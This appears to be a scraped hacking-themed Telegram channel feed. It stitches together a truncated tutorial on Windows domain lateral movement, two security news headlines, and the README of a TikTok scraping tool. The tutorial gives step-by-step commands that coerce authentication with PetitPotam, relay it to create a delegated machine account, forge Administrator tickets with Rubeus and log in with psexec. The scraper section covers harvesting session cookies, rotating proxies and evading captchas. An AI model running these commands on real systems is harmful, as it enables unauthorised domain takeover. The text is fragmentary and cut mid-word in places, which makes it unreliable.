Hacking Articles Tips Tricks Videos Tutorials
471 subscribers
65.9K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
N0kqvcI9PzGNpMdB3YP-aYr12vdbdMiPeONOcyxQKRfATJHfBitsWd4uTHybq9lmlKwndDxfdqY5NX56RElFeXq3sNIv1WFj1BcOvtKFqe3aaH5BxakVB7pjK2DvLeDYZGgyH27k9Ik2ruuUKOi1ajA/s16000/1.png?w=640&ssl=1 Another tool to check the same thing is called webclientservicescanner developed…
er attacks can do this. We will be using the petitpotam.exe file available here. Format is:

PetitPotam.exe relay-network-name@port/random_file Target-IP method
PetitPotam.exe WIN-AZGYNGYRUL1@80/raj 192.168.1.3 1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjO7WqV_QWLSeVg4oqgWY7WEBt2dXeZ0nw7Pvx0P_FqHfWTpIZd3mJ1YmuQ3zBD1Weln2naZjQo81lyH7sWwVYcNozKPoZXQ_4r8sLnM3JkCZD8Y4fPoVWj8t1VlIhEryALxTrq27TLI337gxRAZqTdNCi9Cumt2AOAjmGdsE3qKEDv6xlsASt1jqgUA/s16000/9.png?w=640&ssl=1

This way, the victim system reaches our NTLM relay. Responder helps us in accepting connections coming from PetitPotam as it provides us with a network name. Now, NTLM relay accepts the authentication request, relays it to LDAPS on the DC and creates a machine account (IWGADVYY$) with delegation privileges to the machine/computer account of the system we used to conduct the attack (workstation01). Hence, the newly created machine account can now impersonate any user related to the workstation01 account. (even admin!)

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq1IKxUIaELuAh7_hoRfaKfPfKVDokc8-cfQLiVL51NN61MKCCAV6Q_tzY9TvpizVaHTLjFwmJdKQRqzyMfbItn8iZSKldIM-rC5fpkbOp-I6zl4F8_nPRD5ydpUvctwQRVKTK5SEgTvx94LpILe_DiEnBvOebSWnVmZ0y2UARiJHAXMwRL3k3Awbz2g/s16000/10.png?w=640&ssl=1

An admin can detect such attacks by checking the computer account’s list and noting newly added computer accounts. In the admin system, we see our machine account has been added

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG5erzFeQaCWxcAYzgVAdMbsHyNjHXj5PMNIaSiS2lMvEuwvMmSEb2CXWhllYy1WUQ-53P3_y5ldWsYTdRCIs4-eqCjh00uKfN2fPhe5Jn_GMcGwiJVad4ToMR3tujFbujTRSqlht14U81Hy2_6nv3HOeLKyQ_fUv5WzuInrU24kWl2ddwzwu5rk8Y6g/s16000/11.png?w=640&ssl=1

This machine account has various permissions on the workstation01$ account which can be viewed under the security section.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp2U0HcpRWQWABmEUpizZX2UknDCunDqsiQOfGVaCO_VJVb9zsKWPolh5YRw5tIW27VotUPJ24eF8brb5ee6usEf0Frd3qc-iAJqdpvObc0R5eJ7zV5bFRq6vC4UqLbkiwUOZYF4Vm1pdZ_7kxi_ajoPYvW2AdrglDioFqcdOjY2zsCuQVoW_zUJvpqQ/s16000/12.png?w=640&ssl=1

Also, if you check workstation01$ attribute editor, you’d see that the msDS-AllowedToActOnBehalfOfOtherIdentity has been filled to delegate access to IWGADVYY$

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdFMP8RsiDITjsZ7L4FKZ1AM5Gqcag2memSm9URdkYJ9G-CeKqPdsdapZeVsAsbrEz2lyoDFNAfw54poIpPx6wzcwBwPrW5hsNCtcxt7w4kgzxZ-xLoph_iFA2eXZL3PMBFej9fZ-8N4zPeqvGZtIEqMS8LWmd9c4e-xfla50w6ZaTlk-8kg7pGv01Kw/s16000/13.png?w=640&ssl=1

Now that the newly added computer’s credentials are available, we can use Rubeus.exe to generate hashes to be used later with s4u2proxy attack. In any Windows system available to you, download Rubeus and then open Powershell (as CMD has troubles processing certain special symbols used in passwords) and type the following command:
.\rubeus.exe hash /domain:ignite.local /user:IWGADVYY$ /password:']HzFe^[k5)lCH6R'
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh78oWH7hh1ihXii_o-1mB9-6_kujtGT1i98yFoFagTkKqogi4jUM1UeC80qk2VACwGn6MmygTOEpSMNh0f8fD8myDWiuEkXjjxQVnjEoj4UV44yDk3RR5JtGUeSLWzpKqhnnOUFgAyjaxDCTy2kDeaidZrqpzfsF4RIGJ_Pm8ow7jM6nAWgNXfwe4nyg/s16000/14.png?w=640&ssl=1

Any of the obtained hash should work with Rubeus flags (/rc4, /aes128 etc). We note the AES256 hash and then generate service tickets using Rubeus. Here, we can specify any user to impersonate and the service CIFS is to be chosen.
Rubeus.exe s4u /user:IWGADVYY$ /aes256:3A2DE2A575980D93A8C57710C65214AA1E55010B4C612FBE7620AE17F01EC753 /impersonateuser:Administrator /msdsspn:host/workstation01.ignite.local /altservice:cifs /nowrap /ptt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGfwndUAbrm-dBAFLpCflvTuulCuCRwRXXWUTLL9NQYBcAWVlnoN-gPApai2jTK-wkuCrUZAhyUr3mL4H2Ft4dKpe12_VQT2l68BoGtjMqti--VbpjL_t18923[...]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
er attacks can do this. We will be using the petitpotam.exe file available here. Format is: PetitPotam.exe relay-network-name@port/random_file Target-IP method PetitPotam.exe WIN-AZGYNGYRUL1@80/raj 192.168.1.3 1 https://i0.wp.com/blogger.googleuserconte…
CUWBn4Jnj3Lhka9AA2GB0nXIm3SzLGy7h6oKFZog_m9Io433V-FjfUkkhIVrj-VuQA/s16000/15.png?w=640&ssl=1

The same thing can be done remotely using the getST.py script. Refer to our article here to read more. As you would be able to see TGT request was successful and three service tickets would now be generated. The first ticket is the machine account’s own ticket. Second ticket is the Administrator account’s ticket and the third one is a CIFS ticket which is shown below. This can be viewed using klist command.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkyeNUtVozna7nX4myqXrHOSB_c15kPdxTnLeUnkGzAItIR4OisAcMfSpbZvE1ebHIP9zD3-nTRPZPgbOx83-0ltHM2VZH1zu1N8R8U1tILzAETh53HfrDuFy8_K0Yj5AtklN8zp8Y-aHBaUY9O8ljRaZnLnDFoxxWXH8fLqDI5IHH5w3MnqdXRt8Ghg/s16000/16.png?w=640&ssl=1

We will work with the last ticket collected. We copy this and decode this base64 value and copy it in a file called ticket.kirbi. Then, we will use ticketConverter.py to convert it to ccache file as kirbi is the format used by Rubeus but ccache is used by Impacket. Thereafter we set an environment variable KRB5CCNAME to this ticket’s path
echo "base64 value" | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi admin.ccache
export KRB5CCNAME=admin.ccache
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_2-DkHPAwc7qcuA91QA0H-2aP7wFy1GyGgG6Zojz-FT7VGzI9waJZzYRp9ds163jzc9dm9YrTnxZe9ms3_U3qCGoNfdNa49Cn8eV3_Zb36CO6YPVzr2Q9wyr65fk1DvEbzNu5Egly9Lp2WycCmh5i7DcO3wJfwvqUmktHt1ew5uhBcNkcoARrN3-gcg/s16000/17.png?w=640&ssl=1

Finally, we can use psexec to logon to impersonated account (Administrator) on workstation01
python3 psexec.py -k -no-pass ignite.local/Administrator@workstation01.ignite.local
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3reHtTTHu2xOtyCAnUFRCbNd_jGY88QOzbMxTcM22SMlpqjT1yZmyu_-swqRZZclJDxDNb2H9wntVRSENElAAbMESu0uH7IcJWezDa_IbSfueBy0kr7GFD0i2dwxMaSVlYGu68xSkL10oXdPd1r9K19XxgZ69U0KcCwjoYndUZBKfmJbmOMtW1ZDUOw/s16000/18.png?w=640&ssl=1 ConclusionIn the article, we shed some light on abusing webdav shares and then moving laterally on a domain to compromise more computers. This was done by first creating a new machine account and giving delegation access (using PetitPotam) and then that account was used to impersonate other users.

The attack is rare in real life scenarios as WebClient has to be running which also limits the potential subset of lateral movement, however, with the right conditions it can cause heavy damage. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Lateral Movement: WebClient Workstation Takeover appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video
Dark Reading: Attacks/Breaches
APIs & the Software Supply Chain — Evolving Security for Today's Digital Ecosystem

Securing APIs requires both a "shift left" methodology and "shield right" action.
Dark Reading: Attacks/Breaches
How Casinos Can Prevent Loyalty Incentive and Account Takeover Fraud

As casinos go digital, their loyalty programs and authentic accounts are at risk.
Usage: tiktok-scraper [options]

Commands:
tiktok-scraper user [id] Scrape videos from username. Enter only username
tiktok-scraper hashtag [id] Scrape videos from hashtag. Enter hashtag without #
tiktok-scraper trend Scrape posts from current trends
tiktok-scraper music [id] Scrape posts from a music id number
tiktok-scraper video [id] Download single video without the watermark
tiktok-scraper history View previous download history
tiktok-scraper from-file [file] [async] Scrape users, hashtags, music, videos mentioned
in a file. 1 value per 1 line

Options:
--version Show version number [boolean]
--session Set session cookie value. Sometimes session can be
helpfu l when scraping data from any method [default: ""]
--session-file Set path to the file with list of active sessions. One
session per line! [default: ""]
--timeout Set timeout between requests. Timeout is in Milliseconds:
1000 mls = 1 s [default: 0]
--number, -n Number of posts to scrape. If you will set 0 then all
posts will be scraped [default: 0]
--since Scrape no posts published before this date (timestamp).
If set to 0 the filter is deactived [default: 0]
--proxy, -p Set single proxy [default: ""]
--proxy-file Use proxies from a file. Scraper will use random proxies
from the file per each request. 1 line 1 proxy.
[default: ""]
--download, -d Download video posts to the folder with the name input
[id] [boolean] [default: false]
--asyncDownload, -a Number of concurrent downloads [default: 5]
--hd Download video in HD. Video size will be x5-x10 times
larger and this will affect scraper execution speed. This
option only works in combination with -w flag
[boolean] [default: false]
--zip, -z ZIP all downloaded video posts [boolean] [default: false]
--filepath File path to save all output files.
[default: "/Users/karl.wint/Documents/projects/javascript/tiktok-scraper"]
--filetype, -t Type of the output file where post information will be
saved. 'all' - save info rmation about all posts to the`
'json' and 'csv'
[choices: "csv", "json", "all", ""] [default: ""]
--filename, -f Set custom filename for the output files [default: ""]
--noWaterMark, -w Download video without the watermark. NOTE: With the
recent update you only need to use this option if you are
scraping Hashtag Feed. User/Trend/Music feeds will have
this url by default [boolean] [default: false]
--store, -s Scraper will save the progress in the OS TMP or Custom
folder and in the future usage will only download new
videos avoiding duplicates [boolean] [default: false]
--historypath Set custom path where history file/files will be stored
[default: "/var/folders/d5/fyh1_f2926q7c65g7skc0qh80000gn/T"]
--remove, -r Delete the history record by entering "TYPE:INPUT" or
"all" to clean all the history. For example: user:bob
[default: ""]
--webHookUrl Set webhook url to receive scraper result as HTTP

___________________________
@hacking_Attack
@Hacking_Video
requests. For example to your own API [default: ""]
--method Receive data to your webhook url as POST or GET request
[choices: "GET", "POST"] [default: "POST"]
--help Show help [boolean]

Examples:
tiktok-scraper user USERNAME -d -n 100 --session sid_tt=dae32131231
tiktok-scraper trend -d -n 100 --session sid_tt=dae32131231
tiktok-scraper hashtag HASHTAG_NAME -d -n 100 --session sid_tt=dae32131231
tiktok-scraper music MUSIC_ID -d -n 50 --session sid_tt=dae32131231
tiktok-scraper vi deo https://www.tiktok.com/@tiktok/video/6807491984882765062 -d
tiktok-scraper history
tiktok-scraper history -r user:bob
tiktok-scraper history -r all
tiktok-scraper from-file BATCH_FILE ASYNC_TASKS -d Terminal Examples (https://github.com/drawrowfly/tiktok-scraper/tree/master/examples/CLI/Examples.md) Manage Download History (https://github.com/drawrowfly/tiktok-scraper/tree/master/examples/CLI/DownloadHistory.md) Scrape and Download in Batch (https://github.com/drawrowfly/tiktok-scraper/tree/master/examples/CLI/BatchDownload.md) Output File Example

___________________________
@hacking_Attack
@Hacking_Video
Docker By using docker you won't be able to use --filepath and --historypath , but you can set volume(host path where all files will be saved) by using -v Build docker build . -t tiktok-scraper Run Example 1: All files including history file will be saved in the directory($pwd) where you running the docker from docker run -v $(pwd):/usr/app/files tiktok-scraper user tiktok -d -n 5 -s Example 2: All files including history file will be saved in /User/blah/downloads docker run -v /User/blah/downloads:/usr/app/files tiktok-scraper user tiktok -d -n 5 -s Module Methods .user(id, options) //Scrape posts from a specific user (Promise)
.hashtag(id, options) //Scrape posts from hashtag section (Promise)
.trend('', options) // Scrape posts from a trends section (Promise)
.music(id, options) // Scrape posts by music id (Promise)

.userEvent(id, options) //Scrape posts from a specific user (Event)
.hashtagEvent(id, options) //Scrape posts from hashtag section (Event)
.trendEvent('', options) // Scrape posts from a trends section (Event)
.musicEvent(id, options) // Scrape posts by music id (Event)

.getUserProfileInfo('USERNAME', options) // Get user profile information
.getHashtagInfo('HASHTAG', options) // Get hashtag information
.signUrl('URL', options) // Get signature for the request
.getVideoMeta('WEB_VIDEO_URL', options) // Get video meta info, including video url without the watermark
.getMusicInfo('https://www.tiktok.com/music/original-sound-6801885499343571718', options) // Get music metadata Options video metadata then in return you will receive {headers} object // that was used to extract the information and in order to access and download video through received {videoUrl} value you need to use same headers headers: { 'user-agent': "BLAH", referer: 'https://www.tiktok.com/', cookie: `tt_webid_v2=68dssds`, }, // Download video without the watermark: {boolean default: false} // Set to true to download without the watermark // This option will affect the execution speed noWaterMark: false, // Create link to HD video: {boolean default: false} // This option will only work if {noWaterMark} is set to {true} hdVideo: false, // verifyFp is used to verify the request and avoid captcha // When you are using proxy then there are high chances that the request will be // blocked with captcha // You can set your own verifyFp value or default(hardcoded) will be used verifyFp: '', // Switch main host to Tiktok test enpoint. // When your requests are blocked by captcha you can try to use Tiktok test endpoints. useTestEndpoints: false };">const options = {
// Number of posts to scrape: {int default: 20}
number: 50,

// Scrape posts published since this date: { int default: 0}
since: 0,

// Set session: {string[] default: ['']}
// Authenticated session cookie value is required to scrape user/trending/music/hashtag feed
// You can put here any number of sessions, each request will select random session from the list
sessionList: ['sid_tt=21312213'],

// Set proxy {string[] | string default: ''}
// http proxy: 127.0.0.1:8080
// socks proxy: socks5://127.0.0.1:8080
// You can pass proxies as an array and scraper will randomly select a proxy from the array to execute the requests
proxy: '',

// Set to {true} to search by user id: {boolean default: false}
by_user_id: false,

// How many post should be downloaded asynchronously. Only if {download:true}: {int def ault: 5}
asyncDownload: 5,

// How many post should be scraped asynchronously: {int default: 3}
// Current option will be applied only with current types: music and hashtag
// With other types it is always 1 because every request response to the TikTok API is providing the "maxCursor" value
// that is required to send the next request
asyncScraping: 3,

___________________________
@hacking_Attack
@Hacking_Video
// 'csv' to save in csv
// 'json' to save in json
// 'all' to save in json and csv
// 'na' to skip this step
filetype: `na`,

// Set custom headers: user-agent, cookie and etc
// NOTE: When you parse video feed or single video metadata then in return you will receive {headers} object
// that was used to extract the information and in order to access and download video through received {videoUrl} value you need to use same headers
headers: {
'user-agent': "BLAH",
referer: 'https://www.tiktok.com/',
cookie: `tt_webid_v2=68dssds`,
},

// Download video without the watermark: {boolean default: false}
// Set to true to download without the watermark
// This option will affect the execution speed
noWaterMark: false,

// Create link to HD video: {boolean default: false}
// This option will only work if {noWaterMark} is set to {true}
hdVideo: false,

// verifyFp is used to verify the request and avoid captcha
// When you are using proxy then there are high chances that the request will be
// blocked with captcha
// You can set y our own verifyFp value or default(hardcoded) will be used
verifyFp: '',

// Switch main host to Tiktok test enpoint.
// When your requests are blocked by captcha you can try to use Tiktok test endpoints.
useTestEndpoints: false
}; Don't forget to check the examples folder Promise { try { const posts = await TikTokScraper.user('USERNAME', { number: 100, sessionList: ['sid_tt=58ba9e34431774703d3c34e60d584475;'] }); console.log(posts); } catch (error) { console.log(error); } })(); // User feed by user id // Some TikTok user id's are larger then MAX_SAFE_INTEGER, you need to pass user id as a string (async () => { try { const posts = await TikTokScraper.user(`USER_ID`, { number: 100, by_user_id: true, sessionList: ['sid_tt=58ba9e34431774703d3c34e60d584475;'] }); console.log(posts); } catch (error) { console.log(error); } })(); // Trending feed (async () => { try { const posts = await TikTokScraper.trend('', { number: 100, sessionList: ['sid_tt=58ba9e34431774703d3c34e60d584475;'] }); console.log(posts); } catch (error) { console.log(error); } })(); // Hashtag feed (async () => { try { const posts = await TikTokScraper.hashtag('HASHTAG', { number: 100, sessionList: ['sid_tt=58ba9e34431774703d3c34e60d584475;'] }); console.log(posts); } catch (error) { console.log(error); } })(); // Get single user profile information: Number of followers and etc // input - USERNAME // options - not required (async () => { try { const user = await TikTokScraper.getUserProfileInfo('USERNAME', options); console.log(user); } catch (error) { console.log(error); } })(); // Get single hashtag information: Number of views and etc // input - HASHTAG NAME // options - not required (async () => { try { const hashtag = await TikTokScraper.getHashtagInfo('HASHTAG', options); console.log(hashtag); } catch (error) { console.log(error); } })(); // Get single video metadata // input - WEB_VIDEO_URL // For example: https://www.tiktok.com/@tiktok/video/6807491984882765062 // options - not required (async () => { try { const videoMeta = await TikTokScraper.getVideoMeta('https://www.tiktok.com/@tiktok/video/6807491984882765062', options); console.log(videoMeta); } catch (error) { console.log(error); } })();">const TikTokScraper = require('tiktok-scraper');

// User feed by username
(async () => {
try {

___________________________
@hacking_Attack
@Hacking_Video
by_user_id: true,
sessionList: ['sid_tt=58ba9e34431774703d3c34e60d584475;']
});
console.log(posts);
} catch (error) {
console.log(error);
}
})();

// Trending feed
(async () => {
try {
const posts = await TikTokScraper.trend('', {
number: 100,
sessionList: ['sid_tt=58ba9e34431774703d3c34e60d584475;']
});
console.log(posts);
} catch (error) {
console.log(error);
}
})();

// Hashtag feed
(async () => {
try {
const posts = await TikTokScraper.hashtag('HASHTAG', {
number: 100,
sessionList: ['sid_tt=58ba9e34431774703d3c34e60d584475;']
});
console.log(posts);
} catch (error) {
console.log(error);
}
})();

// Get single user profile information: Number of followers and etc
// input - USERNAME
// options - not required
(async () => {
try {
const user = await TikTokScraper.getUserProfileInfo('USERNAME', options);
console.log(user);
} catch (error) {
console.log(error);
}
})();< br/>
// Get single hashtag information: Number of views and etc
// input - HASHTAG NAME
// options - not required
(async () => {
try {
const hashtag = await TikTokScraper.getHashtagInfo('HASHTAG', options);
console.log(hashtag);
} catch (error) {
console.log(error);
}
})();


// Get single video metadata
// input - WEB_VIDEO_URL
// For example: https://www.tiktok.com/@tiktok/video/6807491984882765062
// options - not required
(async () => {
try {
const videoMeta = await TikTokScraper.getVideoMeta('https://www.tiktok.com/@tiktok/video/6807491984882765062', options);
console.log(videoMeta);
} catch (error) {
console.log(error);
}
})(); Event { //data in JSON format }); users.on('done', () => { //completed }); users.on('error', error => { //error message }); users.scrape(); const hashtag = TikTokScraper.hashtagEvent("summer", { number: 250, proxy: 'socks5://1.1.1.1:90' }); hashtag.on('data', json => { //data in JSON format }); hashtag.on('done', () => { //completed }); hashtag.on('error', error => { //error message }); hashtag.scrape();">const TikTokScraper = require('tiktok-scraper');

const users = TikTokScraper.userEvent("tiktok", { number: 30 });
users.on('data', json => {
//data in JSON format
});
users.on('done', () => {
//completed
});
users.on('error', error => {
//error message
});
users.scrape();

const hashtag = TikTokScraper.hashtagEvent("summer", { number: 250, proxy: 'socks5://1.1.1.1:90' });
hashtag.on('data', json => {
//data in JSON format
});
hashtag.on('done', () => {
//completed
});
hashtag.on('error', error => {
//error message
});
hashtag.scrape(); Get Set Session NOT REQUIRED Very common problem is when tiktok is blacklisting (https://www.kitploit.com/search/label/Blacklisting) your IP/PROXY and in such case you can try to set session and there will be higher chances for success Get the session: Open https://www.tiktok.com/ in any browser Login in to your account Right click -> inspector (https://www.kitploit.com/search/label/Inspector) -> networking Refresh page -> select any request that was made to the tiktok -> go to the Request Header sections -> Cookies Find in cookies sid_tt value. It usually looks like that: sid_tt=521kkadkasdaskdj4j213j12j312; sid_tt=521kkadkasdaskdj4j213j12j312; - this will be your authenticated session cookie value that should be used to scrape user/hashtag/music/trending feed Set the session: CLI: Set single session by using option --session. For example --session sid_tt=521kkadkasdaskdj4j213j12j312; Set path to the file with the list of sessions by using option --session-file. For example --session-file /var/bob/sessionList.txt Example content /var/bob/sessionList.txt: sid_tt=521kkadkasdaskdj4j213j12j312;

___________________________
@hacking_Attack
@Hacking_Video
sid_tt=521kkadkasdaskdj4j213j12j312;
sid_tt=521kkadkasdaskdj4j213j12j312;
sid_tt=521kkadkasdaskdj4j213j12j312;
In the MODULE you can set session by setting the option value sessionList . For example sessionList:["sid_tt=521kkadkasdaskdj4j213j12j312;", "sid_tt=12312312312312;"] Download Video This part is related to the MODULE usage (NOT THE CLI) The {videoUrl} value is binded to the cookie value {tt_webid_v2} that can contain any value Method 1: default headers When you extract videos from the user, hashtag, music, trending feed or single video then in response besides the video metadata you will receive headers object that will contain params that were used to extract the data. Here is the important part, in order to access/download video through {videoUrl} value you need to use same {headers} values. headers: {
"user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36",
"referer": "https://www.tiktok.com/",
"cookie": "tt_webid_v2=689854141086886123"
}, Method 2: custom headers You can pass your own headers with the {options}. const headers = {
"user-agent": "BOB",
"referer": "https://www.tiktok.com/",
"cookie": "tt_webid_v2=BOB"
}
getVideoMeta('WEB_VIDEO_URL', {headers})
user('WEB_VIDEO_URL', {headers})
hashtag('WEB_VIDEO_URL', {headers})
trend('WEB_VIDEO_URL', {headers})
music('WEB_VIDEO_URL', {headers})
// And after you can access video through {videoUrl} value by using same custom headers Json Output Example Video Feed Example output for the methods: user, hashtag, trend, music, userEvent, hashtagEvent, musicEvent, trendEvent {
headers: {
'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36',
referer: 'https://www.tiktok.com/',
cookie: 'tt_webid_v2=689854141086886123'
},
collector:[{
id: 'VIDEO_ID',
text: 'CAPTION',
createTime: '1583870600',
authorMeta:{
id: 'USER ID',
name: 'USERNAME',
following: 195,
fans: 43500,
heart: '1093998',
video: 3,
digg: 95,
verified: false,
private: false,
signature: 'USER BIO',
avatar:'AVATAR_URL'
},
musicMeta:{
musicId: '6808098113188120838',
musicName: 'blah blah',
musicAuthor: 'blah',
musicOriginal: true,
playUrl: 'SOUND/MUSIC_URL',
},
covers:{
default: 'COVER_URL',
origin: 'COVER_URL',
dynamic: 'COVER_URL'
},
imageUrl:'IMAGE_URL',
videoUrl:'VIDEO_URL',
videoUrlNoWaterMark:'VIDEO_URL_WITHOUT_THE_WATERMARK',
videoMeta: { width: 480, height: 864, ratio: 14, duration: 14 },
diggCount: 2104,
shareCount: 1,
playCount: 9007,
commentCount: 50,
mentions: ['@bob', '@sam', '@bob_again', '@and_sam_again'],
hashtags:
[{
id: '69573911',
name: 'PlayWithLife',
title: 'HASHTAG_TITLE',
cover: [Array]
}...],
downloaded: true
}...],
//If {filetype} and {download} options are enbabled then:
zip: '/{CURRENT_PATH}/user_1552963581094.zip',
json: '/{CURRENT_PATH}/user_ 1552963581094.json',
csv: '/{CURRENT_PATH}/user_1552963581094.csv'
} getUserProfileInfo {
secUid: 'MS4wLjABAAAAv7iSuuXDJGDvJkmH_vz1qkDZYo1apxgzaxdBSeIuPiM',
userId: '107955',
isSecret: false,
uniqueId: 'tiktok',
nickName: 'TikTok',
signature: 'Make Your Day',
covers: ['COVER_URL'],
coversMedium: ['COVER_URL'],
following: 490,
fans: 38040567,
heart: '211522962',
video: 93,
verified: true,
digg: 29,
} getHashtagInfo {
challengeId: '4231',

___________________________
@hacking_Attack
@Hacking_Video